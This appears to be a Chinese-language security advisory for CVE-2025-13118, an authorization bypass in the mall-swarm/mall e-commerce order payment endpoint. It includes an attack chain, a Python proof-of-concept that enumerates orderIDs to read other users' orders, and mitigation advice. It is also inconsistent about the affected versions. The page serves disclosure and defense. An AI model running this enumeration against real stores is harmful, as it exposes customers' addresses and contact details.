IPBUF安全漏洞报告
English
CVE-2025-13118 CVSS 6.3 中危

CVE-2025-13118: mall-swarm订单支付接口orderID参数权限绕过漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13118
漏洞类型
不正确的授权(Improper Authorization)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
macrozheng mall-swarm, mall

相关标签

CVE-2025-13118Improper Authorizationmall-swarmmall权限绕过水平越权电商系统订单信息泄露Web安全

漏洞概述

CVE-2025-13118是macrozheng mall-swarm和mall电商系统中存在的一个授权绕过漏洞。该漏洞位于订单支付回调接口/orders/paySuccess中的paySuccess函数,攻击者可以通过操纵orderID参数实现未授权访问其他用户的订单信息。漏洞影响版本最高至1.0.3。由于该系统广泛应用于电商平台,攻击者可利用此漏洞获取敏感订单数据,包括收货地址、联系方式、商品详情等,严重威胁用户隐私和数据安全。漏洞已公开利用可能,厂商在接到通知后未做出任何回应。

技术细节

该漏洞属于Web应用安全中的水平权限绕过问题。在/orders/paySuccess接口的实现中,paySuccess函数在处理orderID参数时未正确验证当前登录用户与订单所有者之间的关系。攻击者只需获取或猜测其他用户的orderID值,即可通过该接口访问任意订单的支付成功回调页面。由于系统未对orderID参数进行用户身份与订单所有权的关联校验,导致任何认证用户都可能通过遍历orderID来获取其他用户的敏感订单信息。CVSS 3.1评分6.3(AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)表明该漏洞可远程利用,攻击复杂度低,需要低权限认证,但造成的机密性、完整性和可用性影响均为低级别。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统使用的mall-swarm或mall版本,确认版本号<=1.0.3
STEP 2
Authentication
攻击者注册或获取一个低权限用户账号,用于发起认证请求
STEP 3
Parameter Manipulation
攻击者通过Burp Suite等工具拦截正常订单支付请求,修改orderID参数值为目标订单ID
STEP 4
Authorization Bypass
发送构造的请求到/orders/paySuccess接口,由于系统未校验orderID与当前用户的关联性,攻击者成功获取目标订单信息
STEP 5
Data Exfiltration
攻击者通过自动化脚本遍历大量orderID,批量窃取用户订单、收货地址、联系方式等敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13118 PoC - mall-swarm orderID Authorization Bypass # Target: macrozheng mall-swarm / mall <= 1.0.3 TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/auth/login" PAY_SUCCESS_URL = f"{TARGET_URL}/orders/paySuccess" def exploit(): """ Step 1: Authenticate with low-privilege account """ session = requests.Session() login_data = { 'username': '[email protected]', 'password': 'password123' } session.post(LOGIN_URL, json=login_data) """ Step 2: Enumerate orderID to access other users' orders Target orderID range: 1000-2000 (example) """ for order_id in range(1000, 2001): params = {'orderID': str(order_id)} response = session.get(PAY_SUCCESS_URL, params=params) # Check if unauthorized access successful if response.status_code == 200 and 'order details' in response.text: print(f"[!] Unauthorized access to order {order_id}") print(f"Response preview: {response.text[:500]}") print("[*] Exploitation complete") if __name__ == "__main__": exploit()

影响范围

mall < 1.0.3
mall-swarm < 1.0.3

防御指南

临时缓解措施
在等待官方修复期间,建议通过Web应用防火墙(WAF)限制/orders/paySuccess接口的访问频率,对orderID参数实施严格的白名单校验,并增加基于用户ID的会话校验逻辑,暂时禁用该接口或设置IP访问限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表